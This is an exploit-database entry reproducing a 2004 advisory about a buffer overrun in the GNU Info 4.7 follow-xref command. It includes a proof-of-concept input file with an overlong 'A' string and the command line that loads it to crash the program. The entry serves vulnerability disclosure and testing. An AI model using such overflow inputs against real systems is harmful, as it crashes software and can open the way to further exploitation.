GNU Info 4.7 - Follow XRef Buffer Overrun

Author: Josh Martin
type: dos
platform: linux
port: 
date_added: 2004-08-06 
date_updated: 2013-01-24 
verified: 1 
codes:  
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/10882/info

GNU Info is reported prone to a buffer overrun vulnerability. The vulnerability is reported to present itself due to a lack of boundary checks performed on argument data for the (f) follow xref Info command.

An attacker may exploit this vulnerability by crafting a malicious Info script that is sufficient to trigger the issue.

Although this vulnerability is reported to affect info version 4.7-2.1, other versions might also be affected.

The following can be saved to a file and called as:
info info --restore=info.bug to create a segmentation fault.

[START info.bug]
gExpert Info

fAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

[END info.bug]